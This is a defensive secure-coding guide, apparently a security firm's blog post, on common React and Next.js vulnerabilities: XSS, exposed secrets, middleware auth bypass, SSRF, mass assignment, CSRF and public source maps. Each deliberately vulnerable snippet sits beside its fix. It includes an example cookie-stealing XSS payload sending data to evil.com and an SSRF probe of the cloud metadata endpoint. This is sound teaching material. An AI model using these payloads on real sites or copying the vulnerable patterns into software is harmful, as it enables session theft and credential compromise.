React is often described as "secure by default" because JSX escapes rendered values. That is true for basic XSS through text interpolation. But the moment you step outside that narrow path, with dangerouslySetInnerHTML, with server-side rendering, with Next.js API routes and middleware, the attack surface expands dramatically.
We review React and Next.js codebases regularly, and the same patterns keep appearing. Here are the security mistakes we find most often, with code examples showing both the vulnerable pattern and the fix.
XSS Through dangerouslySetInnerHTML
React's JSX escaping only works when you render values as text content. The moment you use dangerouslySetInnerHTML, you're telling React to skip escaping entirely and inject raw HTML into the DOM. If that HTML comes from user input, you have stored or reflected XSS.
function Comment({ comment }) {
// User-submitted comment rendered as raw HTML
return (
<div
className="comment-body"
dangerouslySetInnerHTML={{ __html: comment.body }}
/>
);
}
// Attacker submits comment:
// <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
Secure: Sanitize HTML before rendering
import DOMPurify from 'dompurify';
function Comment({ comment }) {
// Sanitize HTML to remove dangerous elements and attributes
const sanitized = DOMPurify.sanitize(comment.body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel']
});
return (
<div
className="comment-body"
dangerouslySetInnerHTML={{ __html: sanitized }}
/>
);
}
We also look for XSS through href attributes accepting javascript: URLs, window.location assignments from URL parameters, and React's ref API being used to set innerHTML directly.
Exposed API Keys in Client Bundles
This is one of the most common and most preventable mistakes in React applications. Any environment variable prefixed with NEXT_PUBLIC_ (Next.js) or REACT_APP_ (Create React App) is embedded directly into the JavaScript bundle that ships to every user's browser.
// .env.local
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_abc123...
NEXT_PUBLIC_DATABASE_URL=postgresql://admin:[email protected]:5432
// components/PaymentForm.tsx
const stripe = new Stripe(process.env.NEXT_PUBLIC_STRIPE_SECRET_KEY);
// This key is now in every user's browser bundle
Secure: Keep secrets server-side only
// .env.local
STRIPE_SECRET_KEY=sk_live_abc123... // No NEXT_PUBLIC_ prefix
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_xyz... // Only public key
// app/api/create-payment/route.ts (server-side only)
import Stripe from 'stripe';
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!); // Server only
export async function POST(req: Request) {
const { amount } = await req.json();
const intent = await stripe.paymentIntents.create({ amount, currency: 'usd' });
return Response.json({ clientSecret: intent.client_secret });
}
During code reviews, we search the entire built output for leaked secrets. A quick scan of _next/static chunks often reveals database connection strings, internal API endpoints, third-party secret keys, and admin tokens that developers assumed were hidden because they used environment variables.
Quick check: Run grep -r "sk_live\|secret\|password\|private_key" .next/static/ on your Next.js build output. If anything comes back, you have exposed secrets in production.
Broken Authentication in Next.js Middleware
Next.js middleware is a popular place to implement authentication checks because it runs before every matched route. But middleware has significant security limitations that developers often miss.
In early 2025, CVE-2025-29927 demonstrated that Next.js middleware could be bypassed entirely by sending a specially crafted x-middleware-subrequest header. This affected any application that relied solely on middleware for authentication or authorization.
// middleware.ts - This is the ONLY auth check
export function middleware(request: NextRequest) {
const token = request.cookies.get('session');
if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
return NextResponse.redirect(new URL('/login', request.url));
}
}
// app/api/admin/users/route.ts - No auth check here
export async function GET() {
// If middleware is bypassed, this data is exposed
const users = await db.query('SELECT * FROM users');
return Response.json(users);
}
Secure: Defense in depth with server-side checks
// middleware.ts - First layer of defense
export function middleware(request: NextRequest) {
const token = request.cookies.get('session');
if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
return NextResponse.redirect(new URL('/login', request.url));
}
}
// lib/auth.ts - Reusable auth verification
export async function requireAuth() {
const session = await getServerSession();
if (!session?.user) {
throw new Error('Unauthorized');
}
return session.user;
}
// app/api/admin/users/route.ts - Auth enforced at the route level
export async function GET() {
const user = await requireAuth(); // Always verify here too
if (user.role !== 'admin') {
return Response.json({ error: 'Forbidden' }, { status: 403 });
}
const users = await db.query('SELECT * FROM users');
return Response.json(users);
}
The lesson from the React2Shell CVE and the middleware bypass is clear: never rely on a single layer for authentication. Middleware is a convenience layer, not a security boundary. Authorization must be enforced at the data access layer.
SSRF in getServerSideProps and Server Components
Server-Side Request Forgery (SSRF) is a server-side vulnerability, but it shows up constantly in Next.js applications because getServerSideProps, Server Components, and API routes make server-side HTTP requests from user-controlled input.
// pages/preview.tsx
export async function getServerSideProps(context) {
const { url } = context.query;
// Attacker sends: ?url=http://169.254.169.254/latest/meta-data/iam/
const response = await fetch(url);
const data = await response.text();
return { props: { preview: data } };
// Now the attacker can read AWS metadata, internal services, etc.
}
Secure: Validate and restrict URLs
import { URL } from 'url';
const ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com'];
export async function getServerSideProps(context) {
const { url } = context.query;
try {
const parsed = new URL(url);
// Only allow HTTPS
if (parsed.protocol !== 'https:') {
return { notFound: true };
}
// Allowlist specific hosts
if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
return { notFound: true };
}
// Block internal/private IP ranges
// (use a library like 'ssrf-req-filter' for robust checking)
const response = await fetch(parsed.toString());
const data = await response.text();
return { props: { preview: data } };
} catch {
return { notFound: true };
}
}
SSRF in Next.js is especially dangerous when deployed on AWS, GCP, or Azure because attackers can reach cloud metadata endpoints (like 169.254.169.254) to steal IAM credentials, service account tokens, and environment variables. This frequently leads to full cloud account compromise.
Insecure API Routes
Next.js API routes (pages/api/ or app/api/) are full server-side endpoints, but developers often treat them with the same casualness as client-side code. Common mistakes include:
- No authentication. API routes that assume they're "internal" because they're in the same project, but are publicly accessible at
/api/... - No rate limiting. Authentication endpoints, password reset, and data export routes with no throttling
- SQL/NoSQL injection. Directly interpolating query parameters into database queries
- Mass assignment. Passing entire request bodies to ORM create/update operations without filtering fields
- Missing CORS configuration. Default CORS settings that allow any origin to call your API
// app/api/users/[id]/route.ts
export async function PATCH(req: Request, { params }) {
const body = await req.json();
// Attacker adds { "role": "admin" } to the request body
const user = await prisma.user.update({
where: { id: params.id },
data: body // Every field in the body is applied
});
return Response.json(user);
}
Secure: Explicitly pick allowed fields
// app/api/users/[id]/route.ts
export async function PATCH(req: Request, { params }) {
const currentUser = await requireAuth();
const body = await req.json();
// Only allow specific fields to be updated
const allowedFields = {
name: body.name,
email: body.email,
avatar: body.avatar
};
// Remove undefined values
const data = Object.fromEntries(
Object.entries(allowedFields).filter(([_, v]) => v !== undefined)
);
const user = await prisma.user.update({
where: { id: params.id },
data
});
return Response.json(user);
}
Missing CSRF Protection
Single-page React applications that rely on cookie-based sessions are vulnerable to Cross-Site Request Forgery unless explicit CSRF protections are in place. Many developers assume that the SameSite cookie attribute solves this completely, but that's only partially true.
SameSite=Lax (the browser default) protects against CSRF on POST requests from cross-origin forms, but does not protect against GET requests that trigger state changes. SameSite=None provides no CSRF protection at all. And older browsers may not support SameSite at all.
For robust CSRF protection, we recommend:
- Double-submit cookie pattern or synchronizer tokens for any state-changing operation
- Check the Origin header on all POST/PUT/DELETE/PATCH requests
- Never use GET requests for state changes (a surprisingly common mistake)
- Consider token-based auth (Bearer tokens in headers) instead of cookies for API-only backends, which is inherently CSRF-resistant
Exposed Source Maps in Production
Source maps reverse the minification and bundling process, giving anyone with access the original source code of your application. This includes component names, internal route structures, business logic, inline comments (including TODOs referencing vulnerabilities), and sometimes even hardcoded values.
By default, Next.js generates source maps for production builds. If your deployment serves .map files publicly, your entire codebase is readable by anyone.
// next.config.js
module.exports = {
productionBrowserSourceMaps: false, // Default is false, but verify
// If you need source maps for error tracking (Sentry, etc.),
// upload them to the service directly and don't serve them publicly
sentry: {
hideSourceMaps: true
}
};
We check for exposed source maps in every web application assessment. When we find them, we use them to map out the full application structure, identify API endpoints, find hidden admin routes, and understand the business logic before we start testing. It's an attacker's dream.
Security Checklist for React and Next.js
| Category | What to Check |
|---|---|
| XSS Prevention | No dangerouslySetInnerHTML with unsanitized input; no javascript: hrefs; sanitize user HTML with DOMPurify |
| Secrets | No NEXT_PUBLIC_ or REACT_APP_ vars containing secrets; grep build output for leaked keys |
| Authentication | Auth enforced at API route/data layer, not just middleware; session validation on every protected endpoint |
| SSRF | URL allowlisting on all server-side fetches; block private IP ranges; no user-controlled redirect targets |
| API Routes | Auth on every route; input validation; rate limiting; explicit field selection (no mass assignment) |
| CSRF | CSRF tokens or Origin header checks on state-changing requests; SameSite=Strict or Lax cookies |
| Source Maps | productionBrowserSourceMaps disabled; .map files not accessible in production |
| Dependencies | npm audit clean; no known vulnerable packages; lock file committed and used in CI |
For a deeper look at how we integrate these checks into development workflows, see our guide on DevSecOps and CI/CD security.
Get a security review of your React or Next.js app
Our team reviews React and Next.js codebases every week. We know where the vulnerabilities hide, and we'll find them before an attacker does.